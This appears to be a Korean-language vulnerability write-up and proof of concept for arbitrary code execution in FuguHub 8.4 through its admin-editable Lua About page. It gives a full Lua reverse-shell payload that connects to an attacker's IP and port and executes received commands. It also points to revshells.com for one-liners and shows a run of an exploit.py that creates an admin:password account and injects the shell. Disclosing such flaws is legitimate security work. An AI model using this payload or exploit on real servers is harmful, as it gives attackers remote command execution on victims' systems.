FuguHub 8.4에서의 임의 코드 실행
Fuguhub는 클라우드 미디어 서버 소프트웨어입니다. 테스트된 버전은 다음 링크의 데비안 버전입니다:
https://fuguhub.com/articles/FuguHub-for-Debian Real Time Logic LLC의 FuguHub v.8.4에서 관리자 패널의 About 페이지에 조작된 스크립트를 통해 로컬 공격자가 임의 코드를 실행할 수 있는 문제가 발견되었습니다.
FuguHub 다운로드 페이지를 보여주는 스크린샷
wget FuguHub.com/install/FuguHub.linux.install
chmod +x FuguHub.linux.install
sudo ./FuguHub.linux.install
About 페이지는 관리자 패널을 통해 내용을 변경할 수 있는 편집 가능한 Lua 페이지입니다. 이 취약점은 Lua로 작성된 리버스 셸을 About 페이지에 삽입하며, 이 페이지는 로그인한 사용자와 로그인하지 않은 사용자 모두가 볼 수 있습니다.
FuguHub 관리자가 편집할 수 있는 About 페이지를 보여주는 스크린샷
FuguHub는 사용자에게 관리자 계정 생성을 요청하며, 이는 다음 페이지에서도 가능합니다: http://127.0.0.1/rtl/protected/admin/
생성된 후 관리자는 다음 링크에서 서버를 사용자 정의할 수 있습니다: 이를 통해 사용자는 페이지를 편집할 수 있으며, 이 페이지에는 코드를 주입할 수 있는 Lua 코드 섹션이 있습니다.
http://127.0.0.1/rtl/protected/admin/customize.lspAbout
서버 측에서 실행되어 소프트웨어 버전을 반환하는 편집 가능한 lsp 코드를 보여주는 스크린샷, 이것이 리버스 셸의 삽입 지점입니다
다음은 예제 페이로드입니다:
<?lsp if request:method() == "GET" then ?>
<?lsp
local host, port = "192.168.0.107", 4444
local socket = require("socket")
local tcp = socket.tcp()
local io = require("io")
local connection, err = tcp:connect(host, port)
if not connection then
print("Error connecting: " .. err)
return
end
while true do
local cmd, status, partial = tcp:receive()
if status == "closed" or status == "timeout" then break end
if cmd then
local f = io.popen(cmd, "r")
local s = f:read("*a")
f:close()
tcp:send(s)
end
end
tcp:close()
?>
<?lsp else ?>
Wrong request method, goodBye!
<?lsp end ?>
revshells.com에서 대체 단일 라인 페이로드를 얻을 수 있습니다.
revshells.com의 Lua 리버스 셸 스크린샷
이 익스플로잇을 자동화하려는 시도 중에 CVE-2023-24078을 발견했는데, 이는 FuguHub에서 파일 업로드 취약점을 찾았습니다. 해당 익스플로잇은 Python으로 작성되었으며 자동 로그인/계정 생성을 포함하고 있었습니다. 저는 이 익스플로잇의 인증 부분을 사용한 후 customize.lsp 페이지에서 새로 발견한 삽입 지점을 익스플로잇하는 코드를 추가했습니다. 제 Python 익스플로잇은 저장소의 exploit.py에 포함되어 있습니다.
usage: exploit.py [-h] -r RHOST [-rp RPORT] -l LHOST -p LPORT
┌──(kali㉿kali)-[~/pg/hub]
└─$ python3 exploit.py -r 192.168.XXX.XXX -rp 80 -l 192.168.XXX.XXX -p 5555
[*] Checking for admin user...
[+] No admin user exists yet, creating account with admin:password
[+] User created!
[+] Logging in...
[+] Success! Injecting the reverse shell...
[+] Successfully injected the reverse shell into the About page.
[+] Triggering the reverse shell, check your listener...